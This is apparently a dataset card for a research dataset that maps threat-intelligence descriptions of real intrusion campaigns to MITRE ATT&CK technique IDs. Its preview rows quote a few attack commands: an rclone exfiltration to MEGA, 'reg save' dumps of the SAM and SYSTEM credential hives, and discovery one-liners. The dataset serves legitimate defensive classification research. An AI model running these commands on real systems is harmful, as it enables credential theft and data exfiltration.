Datasets:
name stringlengths 7 2.5k | TTP stringlengths 5 89 |
|---|---|
APT41 DUST collected data from victim Oracle databases using SQLULDR2. | T1213.006 |
APT41 DUST deleted various artifacts from victim systems following use. | T1070.004 |
APT41 DUST disguised DUSTPAN as a legitimate Windows binary such as `w3wp.exe` or `conn.exe`. | T1036.004 |
APT41 DUST exfiltrated collected information to OneDrive. | T1567.002 |
APT41 DUST involved access of external victim websites for target development. | T1594 |
APT41 DUST involved exporting data from Oracle databases to local CSV files prior to exfiltration. | T1074.001 |
APT41 DUST involved use of search engines to research victim servers. | T1593.002 |
APT41 DUST involved use of web shells such as ANTSWORD and BLUEBEAM for persistence. | T1505.003 |
APT41 DUST used Windows services to execute DUSTPAN. | T1569.002 |
APT41 DUST used infrastructure hosted behind Cloudflare or utilized Cloudflare Workers for command and control. | T1583.007 |
APT41 DUST used stolen code signing certificates to sign DUSTTRAP malware and components. | T1588.003 |
APT41 DUST used tools such as SQLULDR2 and PINEGROVE to gather local system and database information. | T1119 |
Although the X_TRADER platform was reportedly discontinued in 2020, it was still available for download from the legitimate Trading Technologies website in 2022. During the 3CX Supply Chain Attack, AppleJeus used a code signing certificate to digitally sign the malicious software with an expiration date set to October ... | T1553.002 |
ArcaneDoor abused WebVPN traffic to targeted devices to achieve unauthorized remote code execution. | T1190 |
ArcaneDoor command and control activity was conducted through HTTP. | T1071.001 |
ArcaneDoor featured the development and deployment of two unique malware types, Line Dancer and Line Runner. | T1587.001 |
ArcaneDoor included acquiring digital certificates mimicking patterns associated with Cisco ASA appliances for command and control infrastructure. | T1587.003 |
ArcaneDoor included collection of packet capture and system configuration information. | T1119 |
ArcaneDoor included collection of victim device configuration information. | T1082 |
ArcaneDoor included disabling logging on targeted Cisco ASA appliances. | T1690 |
ArcaneDoor included hooking the `processHostScanReply()` function on victim Cisco ASA devices. | T1014 |
ArcaneDoor included injecting code into the AAA and Crash Dump processes on infected Cisco ASA devices. | T1055 |
ArcaneDoor included interception of HTTP traffic to victim devices to identify and parse command and control information sent to the device. | T1557 |
ArcaneDoor included multiple instances of file deletion or removal during execution and other adversary actions. | T1070.004 |
ArcaneDoor included network packet capture and sniffing for data collection in victim environments. | T1040 |
ArcaneDoor included scripted exfiltration of collected data. | T1020 |
ArcaneDoor included the use of OpenConnect VPN Server instances for conducting actions on victim devices. | T1583.006 |
ArcaneDoor involved exploitation of CVE-2024-20353 to force a victim Cisco ASA to reboot, triggering the automated unzipping and execution of the Line Runner implant. | T1653 |
ArcaneDoor involved the use of digital certificates on adversary-controlled network infrastructure that mimicked the formatting used by legitimate Cisco ASA appliances. | T1036 |
ArcaneDoor modified the Authentication, Authorization, and Accounting (AAA) function of targeted Cisco ASA appliances to allow the threat actor to bypass normal AAA operations. | T1685 |
ArcaneDoor used WebVPN sessions commonly associated with Clientless SSLVPN services to communicate to compromised devices. | T1133 |
ArcaneDoor used malicious boot scripts to install the Line Runner backdoor on victim devices. | T1037 |
During 3CX Supply Chain Attack, AppleJeus has gained access to the 3CX corporate environment through legitimate VPN credentials. | T1078 |
During APT28 Nearest Neighbor Campaign, APT28 accessed volume shadow copies through executing vssadmin in order to dump the NTDS.dit file. | T1006 |
During APT28 Nearest Neighbor Campaign, APT28 added rules to a victim's Windows firewall to set up a series of port-forwards allowing traffic to target systems. | T1686.003 |
During APT28 Nearest Neighbor Campaign, APT28 collected information on wireless interfaces within range of a compromised system. | T1016.002 |
During APT28 Nearest Neighbor Campaign, APT28 compromised third-party infrastructure in physical proximity to targets of interest for follow-on activities. | T1584 |
During APT28 Nearest Neighbor Campaign, APT28 dumped NTDS.dit through creating volume shadow copies via vssadmin. | T1003.003 |
During APT28 Nearest Neighbor Campaign, APT28 established wireless connections to secure, enterprise Wi-Fi networks belonging to a target organization for initial access into the environment. | T1669 |
During APT28 Nearest Neighbor Campaign, APT28 exfiltrated data over public-facing webservers - such as Google Drive. | T1567 |
During APT28 Nearest Neighbor Campaign, APT28 staged captured credential information in the C:\ProgramData directory. | T1074.001 |
During APT28 Nearest Neighbor Campaign, APT28 used cmd.exe for execution. | T1059.003 |
During APT28 Nearest Neighbor Campaign, APT28 used PowerShell cmdlet Get-ChildItem to access credentials, among other PowerShell functions deployed. | T1059.001 |
During APT28 Nearest Neighbor Campaign, APT28 used built-in PowerShell capabilities (Compress-Archive cmdlet) to compress collected data. | T1560.001 |
During APT28 Nearest Neighbor Campaign, APT28 used the following commands to dump SAM, SYSTEM, and SECURITY hives: reg save hklm\sam, reg save hklm\system, and reg save hklm\security. | T1003.002 |
During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`. | T1567.002 |
During C0015, the threat actors used the command `net localgroup "adminstrator" ` to identify accounts with local administrator rights. | T1069.001 |
During C0017, APT41 copied the `SAM` and `SYSTEM` Registry hives for credential harvesting. | T1003.002 |
During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory. | T1074.001 |
During C0017, APT41 deployed JScript web shells on compromised systems. | T1059.007 |
During C0017, APT41 deployed JScript web shells through the creation of malicious ViewState objects. | T1505.003 |
During C0017, APT41 downloaded malicious payloads onto compromised systems. | T1105 |
During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain. | T1048.003 |
During C0017, APT41 exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access. | T1190 |
During C0017, APT41 frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server. | T1001.003 |
During C0017, APT41 hex-encoded PII data prior to exfiltration. | T1560.003 |
During C0017, APT41 issued `ping -n 1 ((cmd /c dir c:\|findstr Number).split()-1+` commands to find the volume serial number of compromised systems. | T1680 |
During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries. | T1027.002 |
During C0017, APT41 used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code. | T1036.004 |
During C0017, APT41 used `cmd.exe /c ping %userdomain%` for discovery. | T1016 |
During C0017, APT41 used `cmd.exe` to execute reconnaissance commands. | T1059.003 |
During C0017, APT41 used `whoami` to gather information from victim machines. | T1033 |
During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\SYSTEM` privilege escalation. | T1134 |
During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign. | T1102.001 |
During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections. | T1036.005 |
During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration. | T1041 |
During C0017, APT41 used the Cloudflare CDN to proxy C2 traffic. | T1090 |
During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads. | T1140 |
During C0018, AvosLocker was disguised using the victim company name as the filename. | T1036 |
During C0018, the threat actors downloaded additional tools, such as Mimikatz and Sliver, as well as Cobalt Strike and AvosLocker ransomware onto the victim network. | T1105 |
During C0018, the threat actors exploited VMWare Horizon Unified Access Gateways that were vulnerable to several Log4Shell vulnerabilities, including CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832. | T1190 |
During C0018, the threat actors opened a variety of ports to establish RDP connections, including ports 28035, 32467, 41578, and 46892. | T1021.001 |
During C0018, the threat actors opened a variety of ports, including ports 28035, 32467, 41578, and 46892, to establish RDP connections. | T1571 |
During C0018, the threat actors ran `nslookup` and Advanced IP Scanner on the target network. | T1016 |
During C0018, the threat actors transferred the SoftPerfect Network Scanner and other tools to machines in the network using AnyDesk and PDQ Deploy. | T1570 |
During C0018, the threat actors used AnyDesk to transfer tools between systems. | T1219.002 |
During C0018, the threat actors used Base64 to encode their PowerShell scripts. | T1027.010 |
During C0018, the threat actors used HTTP for C2 communications. | T1071.001 |
During C0018, the threat actors used PDQ Deploy to move AvosLocker and tools across the network. | T1072 |
During C0018, the threat actors used `rundll32` to run Mimikatz. | T1218.011 |
During C0018, the threat actors used encoded PowerShell scripts for execution. | T1059.001 |
During C0018, the threat actors used the SoftPerfect Network Scanner for network scanning. | T1046 |
During C0021, the threat actors downloaded additional tools and files onto victim machines. | T1105 |
During C0021, the threat actors sent phishing emails with unique malicious links, likely for tracking victim clicks. | T1566.002 |
During C0021, the threat actors used HTTP for some of their C2 communications. | T1071.001 |
During C0021, the threat actors used SSL via TCP port 443 for C2 communications. | T1573.002 |
During C0021, the threat actors used TCP for some C2 communications. | T1095 |
During C0021, the threat actors used `rundll32.exe` to execute the Cobalt Strike Beacon loader DLL. | T1218.011 |
During C0026, the threat actors downloaded malicious payloads onto select compromised hosts. | T1105 |
During C0026, the threat actors re-registered a ClouDNS dynamic DNS subdomain which was previously used by ANDROMEDA. | T1568 |
During C0026, the threat actors split encrypted archives containing stolen files and information into 3MB parts prior to exfiltration. | T1030 |
During C0026, the threat actors used WinRAR to collect documents on targeted systems. The threat actors appeared to only exfiltrate files created after January 1, 2021. | T1560.001 |
During C0027, Scattered Spider accessed Azure AD to download bulk lists of group members and their Active Directory attributes. | T1069.003 |
During C0027, Scattered Spider accessed Azure AD to download bulk lists of group members and to identify privileged users, along with the email addresses and AD attributes. | T1087.004 |
During C0027, Scattered Spider accessed Azure AD to identify email addresses. | T1087.003 |
During C0027, Scattered Spider accessed victim OneDrive environments to search for VPN and MFA enrollment information, help desk instructions, and new hire guides. | T1530 |
During C0027, Scattered Spider accessed victim SharePoint environments to search for VPN and MFA enrollment information, help desk instructions, and new hire guides. | T1213.002 |
During C0027, Scattered Spider directed victims to run remote monitoring and management (RMM) tools. | T1219.002 |
During C0027, Scattered Spider downloaded tools from sites including file.io, GitHub, and paste.ee. | T1102 |
During C0027, Scattered Spider downloaded tools using victim organization systems. | T1105 |
MITRE ATT&CK TTP Mapping Dataset
Training and evaluation data for mapping adversarial behavior descriptions (CTI reports, CTF writeups, CISA advisories) to MITRE ATT&CK Tactics, Techniques, and Procedures (TTPs).
Built as my individual contribution to a research project conducted at LORIA (supervised by Jean-Yves Marion). This dataset was developed and used to fine-tune skyylord/qwen3-emb-0.6b-ttp with CachedMultipleNegativesRankingLoss and ANCE-style hard negative re-mining.
Note: Due to their security nature, these datasets contain textual information about malware and other security aspects.
Dataset summary
Each example pairs a short instruction (a natural-language description of an adversarial action — "the attacker used X to achieve Y") with the ground-truth MITRE ATT&CK technique it corresponds to. The dataset is built for contrastive retrieval training: given an instruction, retrieve the correct technique out of the full ATT&CK Enterprise matrix (697 techniques/sub-techniques, v19).
Dataset Description
Expert, TRAM, Procedure, Derived Procedure
These four splits originate from tumeteor/Security-TTP-Mapping, built for the NCE paper (see Citation). Summarized from their dataset card:
- TRAM: sourced from CTID's TRAM project, then deduplicated, cleaned of short/noisy text and noisy labels, and remapped to ATT&CK by tumeteor.
- Procedure: procedure examples pulled from MITRE's CTI repo, with markup stripped.
- Derived Procedure: built by crawling the reference URLs cited by each procedure example and extracting the passages relevant to that example.
- Expert: paragraphs drawn from a broader pool of threat reports and annotated by security practitioners; multi-label, with the test split averaging ~4 labels per example.
For Laika, these splits were additionally remapped from the ATT&CK version tumeteor originally used to ATT&CK v19 Enterprise, and re-split/re-processed to match the rest of this dataset's format. All credit for original collection, cleaning, and the train/dev/test partitioning goes to tumeteor and the NCE paper authors.
Groups, Software, Campaigns
Collected and processed by me directly from MITRE ATT&CK's own Groups, Software, and Campaigns pages (not a pre-existing dataset — MITRE publishes these as reference pages, not training-ready pairs). In MITRE's own framing:
- Groups are adversary activity clusters tracked under a common name by the security community; each is mapped to its publicly-reported technique use, associated software, and campaigns.
- Software covers tools, malware, and utilities (commercial, open-source, or built-in) used to carry out adversary behavior, mapped to the techniques and groups they've been reported with.
- Campaigns are bounded-time intrusion activity sharing common targets/objectives, linked to the techniques, groups, and software involved where public reporting allows attribution. I converted these three pages into instruction/technique-label pairs for training.
CISA (held-out)
Scraped from published CISA cybersecurity advisories and processed into instruction/technique-label pairs. Used exclusively as a held-out evaluation set — never trained on.
CTF writeups (held-out)
A mix of my own CTF writeups and public writeups from 0xdf, processed by extracting the commands/actions used during each challenge and generating behavioral textual descriptions from them via an LLM, then labeling the result with the corresponding ATT&CK technique. The dataset contains only these derived behavioral descriptions, not the original writeup text. Held out — never trained on.
Configs / subsets
| Dataset | Source | Role | Size |
|---|---|---|---|
expert |
NCE paper (Expert) | train/val/test | 461/67/157 |
tram |
NCE paper (TRAM) | train/val/test | 3346/582/703 |
procedure |
NCE paper (Procedure) | train/val/test | 8323/1451/1735 |
derived_procedure |
NCE paper (Derived Procedure) | train/val/test | 2463/482/507 |
campaigns |
Mitre Campaigns | train/val/test | 621/115/116 |
software |
Mitre Software | train/val/test | 2910/645/655 |
groups |
Mitre Groups | train/val/test | 1500/311/330 |
cisa |
CISA advisories | held-out (eval only) | 1535 |
ctf |
Custom CTF writeup corpus | held-out (eval only) | 102 |
mitre-enterprise-v19 |
MITRE ATT&CK v19 Enterprise | reference corpus | 697 |
Citation
If you use the expert, tram, procedure, or derived_procedure splits, please cite the
original NCE paper, whose data these are built from:
@inproceedings{nguyen-srndic-neth-ttpm,
title = "Noise Contrastive Estimation-based Matching Framework for Low-resource Security Attack Pattern Recognition",
author = "Nguyen, Tu and Srndic, Nedim and Neth, Alexander",
booktitle = "Proceedings of the 18th Conference of the European Chapter of the Association for Computational Linguistics",
month = mar,
year = "2024",
publisher = "Association for Computational Linguistics"
}
If you use this dataset as a whole (including the groups/software/campaigns/cisa/ctf_writeups
splits and the ATT&CK-v19 remapping):
@misc{laika-attack-ttp-dataset,
author = {Amine Akhlafa},
title = {Laika ATT&CK TTP Mapping Dataset},
year = {2026},
publisher = {Hugging Face},
howpublished = {\url{https://huggingface.co/datasets/skyylord/mitre-attack-ttp-labeled-instructions}}
}
Related
- Model:
skyylord/qwen3-emb-0.6b-ttp
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